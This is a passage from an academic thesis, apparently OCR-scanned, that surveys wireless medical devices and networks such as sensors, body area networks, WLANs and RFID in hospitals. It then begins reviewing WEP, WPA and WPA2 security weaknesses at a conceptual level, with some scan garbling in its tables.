chapter is divided into two parts for devices, and network specifications. These
map a scope for the problem area and expose technical designs that may be

improved for better security.

3.1 WIRELESS MEDICAL DEVICES

Wireless medical networks have been rapidly deployed in the medical healthcare
industry due to continuous reduction in the size of wireless electronic devices, and
the industry demand. Similarly, the extensive use of wireless technology in
various application areas (including healthcare) is due to the proliferation of
wireless devices and wireless networks in the past decade (Rong & Cayirci, 20009,
p. 169). As previously stated in Section 2.2, a wireless medical network (for
instance: WBAN) is made up of "small and intelligent devices attached on or
implanted in the body", which are able to "provide continuous health monitoring
and real-time feedback to the user and medical personnel™ (Latré et al., 2010, p.
1). These devices are generally classified into two types: sensors and actuators.
Hence, the different type of wireless devices used in a WMedSys are reviewed in
the following sub-sections.

3.1.1 Wireless Sensor Devices

A wireless sensor node is an electronic device that can be employed for
monitoring or measuring particular physiological activities of the user. For
instance, monitoring the heartbeat or prolonged electrocardiogram (ECG), and
measuring body temperature, can be accomplished by using a wireless sensor
node (Latré et al., 2010). A wireless sensor node (Figure 3.2) is made up of
several components including “sensor hardware, a power unit, a processor,
memory and a transmitter or transceiver” (Alyildiz et al., 2002, cited in Latré et
al., 2010, p. 3). Wireless sensors are developed by many different companies and
are enabled to monitor environmental or physical conditions such as pressure,
temperature and so on. For instance, the medical research in the United States has
been using “MicroStrain sensors (also referred to as StrainLink; see Figure 3.3) to
not only develop better and more durable artificial joints by embedding the
sensors within orthopaedic devices, but also monitor stress levels of the joint

within patients’ bodies” (The National Science Foundation, 2012, p. 1).
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Likewise, a low power wireless intelligent sensor (WISE) device developed by
Jovanov et al. (2001) can be used to monitor physiological signals (heart rate,
breathing and movement) of the patient in a healthcare environment. However,
these battery powered wireless sensors devices have limited resources in
computational power and memory (e.g. 60KB of flash memory and 2 KB of RAM
in the WISE device).

BSN Node - Specifications

* TinyOS

* TI MSP430 ultra low power
processor

* 16 bits RISC processor

* 64KB +256B Flash memory

¢ 12-bit ADC

« Active Mode: 280uA at
1IMHz 2.2V

+ Standby Mode: 1.6uA

* Off Mode: 0.1uA

¢ Chipcon CC2420 RF module

« IEEE 802.15.4 (Zigbee)
wireless link

*« 24GHz

* 250kbps

* Low current consumption
(RX:19.7mA TX:17.4mA)

* Hardware MAC encryption

* Range 50m

* 6 analog channels (connectup A
to 6 sensors) BSN CF Interface Card

* 512kByte serial memory

Figure 3.2: BSN node specification (Imperial College London, 2004, p. 1)
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Figure 3.3: Potential uses of sensors in medicine (MicroStrain cited in the National

Science Foundation, 2012, p. 1)
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According to Eren (2006, p. 181), all of these wireless sensor devices such as
“integrated circuit (IC) sensors, web sensors, intelligent sensors, wireless sensors
typically operate either in licensed or unlicensed industrial, scientific and medical
(ISM) bands.

3.1.2 Wireless Intensive Care Unit Bedside Medical Devices (ICU-BMDs)

Friedman, Halpern and Fackler (2007) mention that diverse medical bedside
devices such as ventilators, physiological monitors, RFID tags and infusion
pumps (Figure 3.4) in hospital intensive care units can now be connected to the
patient, network servers and eventually to the electronic medical records (EMR)

as a result of development in wireless communications technology.
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Figure 3.4: Block diagram of Maxim Wireless Infusion Pump (Maxim Integrated,
2013, p. 1)
However, it is significant the wireless coverage and communication must be

guaranteed in addition to the deploying of a secure wireless hospital network for
effective use. Thus, nurses who use medication computer-on-wheels (COWSs) can
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record administered doses and doctors or physicians who use tablets or PDAS can
enter updated patient information at the bedside (Friedman et al., 2007).

3.1.3 Wireless Wearable and Implantable Devices

Wireless wearable medical devices (WWMDs) are used to monitor physiological
parameters of patients with chronic deceases (Table 3.1). Similarly, Denning et al.
(2010) states that implantable medical devices (IMDs) are electronic devices used
for treating patients with abnormal physiological conditions within the body.
Hansen and Hansen (2010, p. 13) describe “an IMD as permanently or semi-
permanently implanted into a patient which treats some underlying medical
condition, enhances the function or appearance of some part of the body, or
provides a previously unrealised ability”. One of the obvious benefits of using the
new generation of IMDs is that doctors or consultants can not only monitor
patients, but also provide treatments remotely or autonomously (Hansen &
Hansen, 2010). However, there are always risks associated with the benefits of
using such WMedDs. For instance, an unauthorised person or a malicious attacker
can remotely intercept wireless communications and compromise the medical
device. Hence, various IMDs have potential adverse failures that can result in
patient heart failure, blindness, and possibly death.

Table 3.1: Some chronic diseases, physiological parameters that are of clinical
importance and possible sensors that can be used to observe them (Atallah et al., 2011,

p. 4)
Disease Physiological parameters Possible sensors
COPD Respiration, heart rate Wearable heart rate/respiration sensors
Oxygen saturation and activity levels Accelerometers

Parkinson's disease Gait, muscle tone, activity Accelerometers, optical/vision sensors
Gyroscopes

Hypertension Blood pressure/activity Wearable blood pressure sensor
Accelerometers

Cancer Weight loss, activity, behaviour patterns Accelerometers, gyroscopes
Weight sensors

Arthritis Gait patterns, temperature, stiffness Accelerometers, optical/vision sensors
Gyroscopes

Diabetes Gait patterns, visual and sensory impairment Accelerometers, vision, glucose monitors
Gyroscopes

Cardiac arrhythmia Heart rate, ECG ECG sensors

Heart failure Blood pressure Heart rate and blood pressure sensors
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3.1.4 Wireless Capsule Endoscopes and Actuator Devices

Olympus Medical Systems Inc developed swallowable wireless video endoscope
capsules (Kusuda, 2005). The capsules are very tiny illuminating devices for
observing “the gastrointestinal tract images and transmitting them through
wirelessly to the external image receiving device” (Kusuda, 2005, p. 259).
Wireless actuators are used for taking some precise actions with respect to
the data received through interaction with the user or the sensors. For example, a
continuous glucose monitoring system that includes “an actuator equipped with a
built-in reservoir and pump” can give an accurate dosage of insulin to a patient
who has diabetes according to the glucose level measurements (Latré et al., 2010,
p. 2). The components of an actuator are the same as that of a sensor node, except

the actuator hardware has a reservoir to hold medicine for administering medicine.

3.1.5 Wireless Personal Devices

A wireless personal device or a sink node is an electronic device that can collect
all the data acquired by the sensors and actuators (Latré et al., 2010). Hence, these
sensors and actuator devices communicate with other persons or medical doctors
and nurses via sink nodes (e.g. a smartphones or PDAs). The adoption of
handheld computers or PDAs in healthcare has been reviewed in previous
literature (Lu et al., 2005, p. 409). Most of the healthcare providers use wireless
personal devices like PDAs or smartphones “to be functional and useful in areas
of documentation, medical reference and access to patient data”, even though
there are obstacles (such as security concerns) to the adoption of wireless personal

devices in healthcare.

3.1.6 Wireless LAN Communication Devices

Wireless modems (MOdulators-DEModulators) or radio frequency (RF)
transceivers are ubiquitous devices that are capable of transmitting and receiving
data through electromagnetic waves (Eren, 2006). In order to enable wireless
network connectivity, these modem devices are generally connected to wireless
access points (WAPs) as shown in Figure 3.5. Wireless modems can be classified
by the use of frequency bands (for example: 900 MHz, 2.4 GHz, 5 GHz, VHF,

UHF and so on) and radio communication techniques such as direct sequence
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spread spectrum (DSSS) and frequency hopping spread spectrum (FHSS).
Likewise, the form factors of these devices can be categorised into internal and
external modems. The former devices are usually attached in motherboards’ slots
and the latter devices are connected to communication ports of computers (Eren,
2006).
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Figure 3.5: Wireless devices associated with a wireless access point

3.2 WIRELESS NETWORKS

Wireless technologies enable the electronic devices to interconnect and
communicate without having the need of physical wired cabling by using radio
frequency transmissions (Karygiannis & Owens, 2002). As a result of
advancement in wireless technologies, the prevalent adoptions of wireless
networks offer numerous benefits to users and organisations (Turab et al., 2010).
For instance, the deployments of wireless sensor networks (WSNSs), wireless
personal area networks (WPANS), wireless local area networks (WLANS),
wireless body area networks (WBANS) in the industries of healthcare, retail,
education and entertainment have not only offered the significant enrichment in
quality of life, but also allowed the improvement in mobility and productivity
(Yuce & Khan, 2012; Darwish & Hassanien, 2011; Turab et al., 2010). However,

the nature of wireless network also exposes the users to potential threats and
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attacks (Ngobeni et al., 2010). The following sub-sections will now focus onto
different types of wireless medical networks.

There are many different types of wireless networks being deployed in
residential, commercial and healthcare areas. According to the Cellular
Telecommunications Industry Association (CTIA), “the wireless health market is
expected to grow 4.4 billion in 2013 (MobiHealthNews, 2009, p.2).

Personal Device

\/

Communication Distance

—Fl— Wireless communication link ‘

Figure 3.6: Positioning of a WBAN in the the realm of wireless networks (Latreé et al.,
2011, p. 6)
Likewise, the revenue from worldwide sales of Wi-Fi (Wireless Fidelity) enabled

health products including WMedDs are estimated to reach approximately “$5
billion in 2014 (ABI Research, 2009, cited in MobiHealthNews, 2009, p.2).
Apparently, the wireless health market is rapidly growing. Even though different
types of wireless networks (see Figure 3.6) based technologies are being used in
the medical or healthcare industry, the following sub-sections explain a brief
explanation of Wireless Sensor Network (WSN), Wireless Body Area Network
(WBAN), Wireless Personal Areal Network (WPAN), Wireless Local Area
Network (WLAN) Wireless Wide Area Network (WWAN), General packet radio
service (GPRS), Universal Mobile Telecommunications System (UMTS), and

Radio Frequency Identification (RFID).
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3.2.1 Wireless Sensor Networks (WSNs)

Wireless sensor networks (WSNs) are gaining popularity in the deployment of
healthcare applications as a result of patients’ tracking and real-time monitoring
can be performed by using low-cost, low-power sensor nodes deployed either
inside the phenomenon or very close to it (Al Ameen et al., 2010; Yick et al., 2008;

Sohraby et al., 2007; Ng et al., 2006; Akyildiz et al., 2002, p. 102).
Table 3.2: Categories of wireless sensor networks (adapted and simplified from
Sohraby et al., 2007, pp. 7-11; Darwish & Hassanien, 2011, pp. 5567-5568)

C1WSNs C2WSNs Applications
[examples]
Topology Multi-point-to-point Point-to-point, Military
(Mesh-based) (star-based) [monitoring forces,
Radio Multi-hop Single-hop targeting, enemy
connectivity tracking, biological
between attack detection,
wireless etc.,]
networks
Routirjg over Dynamic Static Ecg;gsrtoggental
thﬁe\{[vxg:iss detection, flood
Example Military theatre Residential control detection, etc.
systems systems Health
Supported Highly distributed | Confined short-range [drug
Applications high-node-count spaces such as a administration,
applications like home, a factory, a monitoring of
environmental building or human patients (remote or
monitoring and body inside a hospital),
national security etc.,]
systems
Type of data High-data-rate Low-data-rate Home /
flow Residential
Standard ZIgBee/IEEE ZIgBee/IEEE [home automation,
802.15.4 802.15.4 automated meter
Frequency 2.4 GHz; 2.4 GHz; reading, etc.,]
Industrial, scientific Industrial, scientific
and medical (ISM) and medical (ISM) | Commercial
radio band radio band [inventory control,
Data Up to 250 kbps Up to 250 kbps vehicle tracking
transmission and detection,
rate traffic flow
Distance 30 -200 ft 30 — 200 feet surveillance, etc.,]

Darwish and Hasaean (2011) state that a WSN typically consists of a large
number of sensor nodes which are equipped with on-board processors,

communication and storage capabilities to collect and process significant
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information from the environment or the phenomenon being monitored. For
instance, a sensor node can use its processing ability to perform “simple
computations and transmit only the required and partially processed data”
(Darwish & Hassanien, 2011, p. 5566). However, sensor nodes in a WSN may
have not only different sensing and storage capabilities (e.g., optical or magnetic),
but also different communication technologies used (e.g., infrared or radio

frequency) and data transfer rates (Dargie & Poellabauer, 2010).

Similarly, Sohraby et al. (2007, p. 1) states that “a distributed or localised
sensor, an interconnecting network, a central point of information clustering and
a set of computing resources at the central point or beyond” are four fundamental
elements of a sensor network (SN). Furthermore, the commercial WSNSs can also
be classified into two categories such as Category 1 WSNs (C1WSNs) and
Category 2 WSNs (C2WSNs) (Sohraby et al., 2007, p. 7).

3.2.2 Wireless Body Area Networks (WBANS)

The emergent use of WBANS in the healthcare industry, especially in the fields of
patient monitoring systems, is growing not only due to the advancement in
wireless communication technologies, but also due to the development in
wearable and implementable devices or sensors (Khan et al., 2012; Jain, 2011;
Latré et al., 2011; Liolios et al., 2010; Lim et al., 2010). WBANS are typically
deployed within a range of 1 to 2 meters. By deploying WBANS, an extensive
group of novel applications such as “ubiquitous health monitoring (UHM),
computer-assisted rehabilitation an emergency medical response system (EMRS)”
are enabled to improve the quality of life (Latré et al., 2011; Li et al., 2010, p. 51).
For instance, the real-time monitoring of patients who suffer from diseases such
as diabetes, cardiovascular diseases (CVDs) and so on can be performed remotely
and continuously whether or not the patients are in the hospital or at home (Khan
etal., 2012; Latré et al., 2011; Li et al., 2011; Li et al., 2010).

In general, a WBAN (see Figures 3.6 and 3.7) is made up of a large
number of intelligent devices that are tiny and normally implanted in or placed on
the body and are capable of continuous monitoring of the patient’s physiological
activities (Yuce & Khan, 2012; Chen et al., 2011; Latré et al., 2011; Li et al.,
2010).
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Latré et al. (2011, p. 2) states that sensors and actuators (or actors) are two types
of devices used in BANSs in order “fo measure certain parameters of human body
either externally or internally” and “to take some specific actions according to
the data received from the sensors or through interaction with the user”,
respectively. For example, the measurement of the heartbeat or temperature of the
body can be done by a sensor device. Likewise, a handheld device such as
personal digital assistant (PDA) or a laptop or a smart phone can be operated as a
sink to perform interaction between the wireless sensor device and the patient or
doctor (Latré et al., 2010). A sink node can either be mobile or fixed and thought
of as a gateway between a WBAN and external network (Muhammad et al., 2005).
Hence, the patient related data collected from a body-attached or implanted
sensors can then be transferred from a sink to a centralised medical database (Li et
al., 2010).
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Figure 3.7: A simple continuous monitoring of patient’s physiological activities by
using BAN and WLAN (adapted from Chen et al., 2010, p.1)
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3.2.3 Wireless Personal Area Networks (WPANS)

According to Noorzaie (2006), short range networks like WPANSs using IEEE
802.15.4 or Bluetooth can be potentially deployed in the medical or healthcare
industry (Chevrollier & Golmie, 2005; Golmie et al., 2003). For instance, WPANSs
can be used by nurses or doctors in hospitals in order to monitor patients in real-
time instead of visiting patients’ rooms frequently. Hence, nurses and doctors can
have more opportunity to look after patients by saving time. WPANSs can also be
used to interconnect multiple devices within the hospital as the data collected
from the patients can be transferred from one wireless device to another without

performing data transfer manually (Noorzaie, 2006).

3.2.4 Wireless Local Area Networks (WLANS)

The Institute of Electrical and Electronics Engineers (IEEE) LAN/MAN
Standards Committee (IEEE 802) designed the original WLAN 802.11 standard in
1997 for 1 Mbps to 2 Mbps wireless communication in the public frequency band
of 5GHz and 2.4GHz (Hoglund, 2007; Karygiannis & Owens, 2002). As a result
of flexibility, low cost, mobility and simplicity in operation, the deployments of
WLANSs have been rapidly growing and widely utilised in enterprises, homes,
universities, cafés, airports and hospitals over many decades (Witters, 2011;
Ngobeni et al., 2010; Heslop et al., 2010; Achi et al., 2009; Cypher et al., 2006;
Banitsas et al., 2002).

Unlike a traditional wired LAN, a WLAN or wireless Ethernet provides
two or more end-user devices that can communicate with each other without
requiring physical cabling, but by using Radio Frequency or Infra-Red
technologies (Achi et al., 2009; Karygiannis & Owens, 2002). A WLAN mainly
consists of two types of wireless devices such as a wireless station (e.g., laptop or
PDA) and a wireless access point (WAP), and it is usually implemented as an
extension to wired LAN (Scarfone et al., 2008, Varshney, 2003; Karygiannis &
Owens, 2002). However, the typical indoors-connectivity range of IEEE 802.11
devices is up to 50 to 100 meters even though a greater connectivity range can be
achieved outdoors (Scarfone et al., 2008). Similarly, Chen et al. (2004, p.1) state
that WLANS are considered to be “zhe next generation of clinical data network”

due to the prospect of capturing patients’ clinical data that can be sent to a doctor
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or centralised patient database of the hospital by using different wireless devices
like laptops, tablet computers, smart phones, PDASs or pagers (Garrett & Jackson,
2006; Newbold, 2004). For instance, 802.11 WLANSs are being deployed to
perform continuous monitoring of patients at home or in a hospital (Vassis et al.,
2010; Lin et al., 2008; Varshney, 2003). In other words, the “pervasive health
monitoring, intelligent emergency management system, pervasive healthcare data
access and ubiquitous mobile telemedicine” can be carried out by deploying
WLANSs to fulfil the vision of “Pervasive Healthcare” (Malasri et al., 2009;
Varshney, 2007, p. 113).

3.2.5 Wireless Wide Area Networks (WWANS) / GPRS / UMTS

The deployment of pervasive wireless technologies such as Wireless Wide Area
Networks (WWANS), General Packet Radio Services (GPRS) and Universal
Mobile Telecommunications Systems (UMTS) make possible monitoring or
transferring of vital data on patients. For instance, the MobiHealth project was
initiated in Europe in order to establish “a generic platform for home healthcare
using BAN-based sensors and GPRS or UMTS” (for WWANS connectivity)
wireless communication technology (Noorzaie, 2006, p. 8). Consequently,
healthcare professionals have benefits of monitoring outpatients remotely. On the
other hand, outpatients who wear wireless body sensor devices can also take

advantage of improving mobility and reduce the disruption to daily life.

3.2.6 Radio Frequency Identification (RFID)

RFID (radio frequency identification) technology can identify objects or people,
and also provide healthcare professionals with precise access to the patient’s
physiological data by using wireless radio communication (Liu et al., 2011; Yao
et al., 2011; Hunt et al., 2007). As every system has its own essential components
in order to operate successfully, a typical RFID system consists of three main
components such as an RFID tag (active or passive) device, which is sometimes
referred to as a transponder, RFID reader (or transceiver) and a host or controller
which is connecting to an enterprise system (Roberts, 2006; Xiao et al., 2007;
Hunt et al., 2007). RFID tag devices can be used to track patients and medical
equipment in a hospital (Parlak et al., 2012; Noorzaie, 2006).
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The successful deployment of RFID systems in hospitals or the healthcare
industry (see Table 3.3) was reported in the “Evaluating the business value of
RFID: Evidence from five case studies” (Tzeng et al., 2008, p. 601). For instance,
a RFID system was used for an emergency room by tagging patients with passive
tags that stored patients’ identification numbers (IDs) to track them and to monitor
patients’ physiological signals. Likewise, a “RFID smart medical platform” was
used in one of the hospitals in Taiwan to identify new-born babies with active
RFID tags (Tzeng et al., 2008, p. 607). Hence, the nurses or doctors can access

medical information related to patients by using wireless devices like PDAs or

smartphones after the RFID reader has validated patients’ IDs.

Table 3.3: Deployments of RFID systems in hospitals (Tzeng et al., 2008, p. 605)

Taipei Medical

Taipei Minicipal

En Chu Kong

Show Chawn

Koo Foundation

University Hospital ~~ WanFang Hospital Hospital (ECKH) Memorial Hosptial Sun Yat-Sen Cancer
(TMUH) (WFH) (SCH) Center (KCC)
Project Location-based Wireless PDA & RFID intelligent Intelligent digital Specialized
medicare service RFID system for healthcare platform  health network healthcare system
emergency room
observation
RFID-based blood Healthcare industry  Inpatient
bag and resource RFID application management system
management system  system
Goal SARS prevention Patient safety Sickroom safety SARS prevention SARS prevention
Application ~ SARS prevention Emergency system Inpatient SARS Prevention Entry and Exit
and isolation medicine inspection  Management Waste  and Isolation Control Exhibiting
and audit Management Healthcare Institute ~ SOP Management
Start date 2003/10 2004/01 2004/01 2003/10 2003/10
Sponsor Ministry of Department of MOEA MOEA MOEA
Economic Affairs Health
Implement ~ Corporate with In house Corporate with HP Qutsourcing Qutsourcing
NTU, III and PK
technology
Establish 1T
consulting company
Outcome Success Partial success Partial success Success Success

low usage in
emergency room

wireless technology
cannot use in surgery
room

Similarly, common wireless technologies were also implemented for the real-time
location systems (RTLS) in 23 hospitals in United States (see Table 3.4) for
tracking hospital assets, patients and temperature monitoring (Fisher & Monahan,
2012). Although RTLS can be applied for different purposes in “clinics,
emergency departments, operating rooms or throughout the entire hospital”,
Majchrowski (2010, p. 18) states that the most widely implementation of RTLS is

hospital-wide location tracking of medical equipment (e.g. infusion pumps).
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Freudenthal et al. (2007) stated that RFID technology, using passive RFID

devices for human implants, allowed monitoring of the patient’s biological

functions within a short range (maximum 10 cm). Likewise, the implanted RFIDs

are not useful for communicating with wireless global positioning systems (GPS).

Therefore, the remote monitoring of the patient’s biological functions is more

appropriate and sensible than patient tracking in real-time with RTLS that uses
RFID technologies (Aubert, 2011, Majchrowski, 2010).
Table 3.4: Wireless technologies used for RTLS in hospitals (simplified from Fisher &

Monahan, 2012, p. 708)

Hospital ID  Year of Primary Purpose of
assess- technology RTLS
ment in RTLS
01 2007 RFID Patient ID in surgery
02 2007 A RFID A, Asset tracking
B. Ultrasound  B. Patient tracking

03 2007 RFID Asset tracking
04 2007 RFID A. Asset tracking

B. Personnel tracking
06 2007 RFID Patient ID in ED
07 2007 ZigBee Asset tracking
08 2007 RFID Patient ID for delivering medicine
09 2007 RFID Patient tracking
10 2007 RFID Asset tracking
15 2007 Ultrasound Asset tracking
16 2007 Ultrasound A. Patient tracking

B. Personnel tracking
11 2008 IR A. Asset tracking

E. Patient tracking

C. Personnel tracking
05 2009 RFID A. Asset tracking

B. Temperature monitoring
12 2009 RFID Asset tracking
13 2009 RFID Patient ID in surgery
14 2009 UWE A. Asset tracking

B. Patient tracking

C. Personnel tracking
17 2009 RFID Personnel tracking
18 2009 RFID Asset tracking
19 2009 RFID A. Asset tracking

B. Patient tracking
20 2009 RFID A. Asset tracking

B. Temperature monitoring
21 2009 RFID Asset tracking
22 2009 ZigBee Asset tracking
23 2009 RFID Asset tracking
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3.3 CONCLUSION

Chapter 3 has defined and focused on specific medical applications that use
wireless connections for their services. These have included devices and network
specifications. Specific attention has been paid to the limitations and the designs
for implementation. Although wireless connection is an ideal solution in the
medical environment it is not a perfect solution. There are physical and logical
limitations that must be factored into the use. Chapter 4 now explores the security

implications for these limitations. This includes provisions and threats.
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Chapter 4 documents the security vulnerabilities of wireless connectivity. Security

Is an essential component of any IT systems, either wired or wireless. Wireless

networks are ubiquitous and are being deployed in homes, organisations,

healthcare industry, and in many contexts the security provisions are yet to be

adequate. However, the main difference between wired and wireless network is
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the vulnerability at the physical layer (Clonts, 2010). Unlike a wired network, the
wireless data transmitted in the wireless network is easily captured or
eavesdropped by passive attackers. As a consequence, the aspects and limitations
of wireless networks are important to document and evaluate. Therefore, in this
chapter, an overview of built-in wireless security architecture for wireless
networks, especially IEEE 802.11 WLAN standards, and their limitations (Section
4.1) will be made. Then, the security goals or requirements of wireless networks
will be discussed in Section 4.2. Consequently, the security issues related to
wireless networks will be described in Section 4.3 and known wireless attacks in
Section 4.4. Afterwards, risks or challenges of WMedDs and WMedSys will be
highlighted in Section 4.5, which is followed by misuses of WMedSys (Section
4.6). Subsequently, a review of problems and issues will be summarised in

Section 4.7 and the conclusion will be drawn in Section 4.8.
4.1 WIRELESS SECURITY ARCHITECTURE OVERVIEW

There are different security requirements for wireless networks that require
adoption. In order to address these security requirements, it is essential to
understand the existing built-in security features of IEEE 802.11 standards for
WLANS. Hence, the existing security features of WLANs such as wired
equivalent privacy (WEP), Wi-Fi protected access (WPA) and robust security

network (RSN) or WPAZ2 is reviewed in the following sub-sections.

4.1.1 Wired Equivalent Privacy (WEP)

WEP is proposed to offer a security mechanism to users of wireless network “that
is equivalent to being on a wired network” (Bulbul et al., 2008, p. 1). The main
purpose of the WEP is not only to protect the wireless data transmission between
wireless stations (STAS) and APs (Karygiannis & Owens, 2002, p. 29; Scarfone et
al., 2008), but also to provide a security equivalent to or higher than that of wired
network (Bulbul et al., 2008, p. 1).

However, the end-to-end security between the source and destination
devices is not provided by the legacy WEP even though it is designed to provide
confidentiality and authentication services (Karygiannis & Owens, 2002). In fact,
data encryption is only applied between STAs and APs. When WEP is applied,
every 802.11 wireless packet is separately encrypted with 64-bit Rivest Cipher
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(RC4) key that consists of a 24-bit Initialisation Vector (IV) and a 40-bit WEP
key (Scarfone et al., 2008; Bulbul et al., 2008; Lashkari et al., 2009). A bitwise
exclusive OR (XOR) of the original packet and RC4 stream is used to generate an
encrypted packet. Likewise, the IV is chosen periodically by the sender and
transmitted in clear text with each wireless data packet. Furthermore, an integrity
check value (ICV) of 4-byte is calculated on the original packet and appended
after encrypting with RC4 cypher (Bulbul et al., 2008). WEP also uses the key
size of 128 and 256 bits in the later implementations. Nonetheless, one of the
weaknesses of WEP is the 24-bit 1V being transmitted in plain text with every
packet that allows a passive eavesdropper to know 24-bit of every wirelessly
transmitted packet (Scarfone et al., 2008; Clonts, 2010) (see Figure 4.2).

Radio Interface

Wireless Station AP
v
Generation :
Algorithm
i 24-hits IV 3
o S :
N Concatenate ) RC4 : RC4 pv Concatenate v
evload = Shered > ygngey [ PerPacket ™ Algorithm | i Algorithm | Per Packet | jygngkey € Shared
Key Key Key Key
v T
CRC 3
Generation Keystream . Keystream
Algorithm :
Yoy
Plaintext Ir i ) aintext O
oA Payload - aintext Input >+ } F|phﬂ-\rm<rb +; Plaintext Output oRC Payload
Payload Bits
XOR with F I
Packet Keystream Packet

Figure 4.2: WEP encryption using RC4 algorithm (Scarfone et al., 2008, p. 24)
Other vulnerable aspects of the WEP encryption comprise “a lack of key
management policy” and “a lack of cryptographic integrity protection” (Bulbul et
al.,, 2008, p. 2; Clonts, 2010, p. 1; Katz, 2010). With respect to the key
management, a WEP key often tends to be static and long-lived, and then shared
among every node on the network as a result of no requirement for changing the
WEP key. Moreover, wireless APs and STAs have to be programmed and then
work with the same key. Hence, changing a WEP key is rarely done as it is always
left as a task for the system administrators (Bulbul et al., 2008). It results in a
large amount of cypher-text data using the same WEP key. This allows malicious
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eavesdroppers to crack the key easily. With regard to the integrity risks, the use of
a Cyclic Redundancy Check (CRC-32) algorithm to create a checksum (4 Bytes)
for each wireless data packet is another problem with WEP. The CRC checksum
is not encrypted and thus exposes the media access control (MAC) protocol to “an
active attack where a malicious hacker can modify the checksum one byte at a
time and send packets to see when it will be correctly acknowledged” (Clonts,
2010, p. 2). Furthermore, one of the weaknesses of WEP is the authentication
method. IEEE 802.11 standards has two authentication methods the “Open
System” and “Shared Key” authentication (Bulbul et al., 2008). In terms of
authentication, WEP supports a shared key authentication sequence in which “the
wireless AP sends a clear text challenge to the client, the client encrypts the text
using the same WEP key used for normal communication, and then the AP
validating the key” (Clonts, 2010, p. 2). The problem is the transmitted clear text
and encrypted text during successful authentication can be monitored by a
malicious attacker. Therefore, the WEP encryption key can easily be recovered by
using both clear and cypher texts. Additionally, the use of a small key size (40
bits) in WEP is not long enough to resist the brute-force attacks initiated by
malicious hackers (Bulbul et al., 2008). Likewise, WEP does not prevent replay
attacks as the protocol does not maintain sequence counters in packets (Clonts,
2010).

4.1.2 Wi-Fi Protected Access (WPA)

Due to so many vulnerabilities and limitations, WEP is not an accepted wireless
security solution. As a result, Wi-Fi (Wireless Fidelity) Alliance and IEEE 802.11
Working Group created the Wi-Fi Protected Access (WPA) standard to
temporarily solve the vulnerabilities in WEP, in 2003 (Bulbul et al., 2008;
Scarfone et al., 2008; Clonts, 2010). Lashkari et al. (2009) states that WPA
operations can be classified into two operation modes with personal WPA or
WPA-PSK (pre-shared key of maximum 256 bits) and commercial or enterprise
WPA. The former operation mode is used specifically in small offices and
residential homes without deploying a centralised authentication server. Due to
the encryption key being pre-shared between the wireless AP and client, the
mutual authentication is provided by WPA and the key is never broadcast in the

medium (Lashkari et al., 2009). However, the latter operation mode utilises
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“authentication server 802.1X that provides an excellent control and security in
the users’ traffic of the wireless network™ (Lashkari et al., 2009, p. 50). So this
type of WPA uses 802.1X+EAP for authentication, and replaces WEP with more
advanced encryption, using Temporal Key Integrity Protocol (TKIP). Instead of a
pre-shared key, enterprise WPA utilises a centralised authentication server that is
referred to as Remote Authentication Dial In User Service (RADIUS). Unlike
WEP, combining the secret key with the IV before executing, RC4 encryption in
TKIP can avoid eavesdroppers getting the IV in plain text and “adding a sequence
counter to messages that ensure out of order messages are not accepted; this
prevents attacks where legitimate messages are replayed at a later time” (Clonts,
2010, p. 2). Moreover, with regard to the integrity, WPA utilises 64-bit Message
Integrity Check (MIC) for TKIP in order to check errors in the contents of the
transmitted data. Hence, Bulbul et al. (2008, p. 1) observes that “the ICV is CRC
of data and MIC”. However, there are some limitations in WPA from the IEEE
802.11i standard point of view. For instance, WPA is susceptible to a brute force
or dictionary attack if the WPA key is produced from a weak passphrase which is
less than twenty characters (Clonts, 2010; Bulbul et al., 2008). Nevertheless, TKIP
addresses “four main improvements in encryption algorithms of WPA over WEP”
such as “a cryptographic MIC to defeat forgeries”, “a new IV sequencing to
remove replay attacks”, “a per-packet key mixing function to de-correlate the
public 1Vs from weak keys”, and “a rekeying mechanism, to provide fresh
encryption and integrity keys” to prevent key reuse attacks (Lashkari et al., 2009,
p. 50).

4.1.3 Robust Security Networks (RSNs or WPA?2)

In 2004, the IEEE published 802.11i amendment in which the enhanced security
features were introduced with the perception of a more robust security that is
referred to as RSN (also commonly known as WPAZ2). In contrast to WEP and
WPA that employ fixed encryption methods, RNS utilises the Advanced
Encryption Standard (AES) and IEEE 802.1X standard (which is an IEEE
standard for port-based network access control) for dynamic negotiation of
encryption and access control, respectively, between a wireless AP and a wireless
client (Clonts, 2010; Bulbul et al., 2008).
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Table 4.1: Comparison of IEEE 802.11 security protocols (adapted from Vanhoef &
Ronen, 2019; Clonts, 2010, p. 3; Katz, 2010; Scarfone et al., 2008, p. 25; Bulbul et al.,
2008, Frankel et al., 2007)

. WEP
Security Features (pre-RSN) WPA WPA2 (RSN) WPA3
Cryptographic RC4 RC4/ITKIP | CCMP/AES GCMP-256
Algorithm
Encryption Key Length 4O'b'tb?tr 104- 128-bit 128-bit 192-bit
Created through Created Not needed as
. . through :
Encryption Key per concatenation TKIP temporal key is
Packet of WEP key mixin sufficiently
and 24-bit IV ng secure
function
384-bit Hashed
Message
. For each Authentication Mode
Encryption Key Change None packet Not needed (HMAC) with Secure
Hash Algorithm
(SHA)
Elliptic Curve Diffie-
Hellman (ECDH)
Encryption Key IEEE exchange and Elliptic
Management None 802.1X IEEE 802.1X Curve Digital
Signature Algorithm
(ECDSA)
Initialisation Vector . . .
(IV) Length 24-bit 48-hit 48-hit
Counter Cipher .
Michael Mode with 256-bit.
L Broadcast/Multicast
. . Message Block Chaining .
Data Integrity Enciphered ) Integrity Protocol
: Integrity Message .
Mechanism CRC-32 P Galois Message
Check Authentication henticati
(MIC) Code (CCM) Authentication Code
(BIP-GMAC-256)
Protocol
Source and
destinati Source and
estination -~
destination
Header addresses
Protection/Integrity None are addresses are
protected by
protected CCM
by MIC
Replay Attack Detection None Enforce_IV Enforce_IV Dragonfly protocol
sequencing sequencing
Open svstem or mEe’tAr;F(;d EAP method Simultaneous
pshargd ke with IEEE with IEEE Authentications of
Authentication y 802.1X or Pre- | Equals (SAE) or the
(weak 802.1X or
o Shared key Dragonfly Key
authentication) | Pre-Shared (PSK) Exchange
key (PSK) g
D)(EET;'C Dynamic IEEE
Key Distribution Manual 802.1X or 802.1X or
manual
manual
Standard Mapping Soe11a & 802.11g 802.11n 802.11n or 802.11ac
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Hence, RSNs does not only offer the technique of extended key management and
port-based access control to provide authentication, but also uses Counter Cipher
Mode with Block Chaining Message Authentication Code Protocol (CCMP) and
TKIP to ensure data confidentiality and integrity (Frankel et al., 2007).

However, similar to WPA, RNS provides security in two different modes
(Lashkari et al., 2009) with the personal WPA2 for home users (that uses a
symmetric key block cypher for encryption which is a pre-shared key of
maximum 256 bits); and, the enterprise WPA2 for corporate (based on IEEE
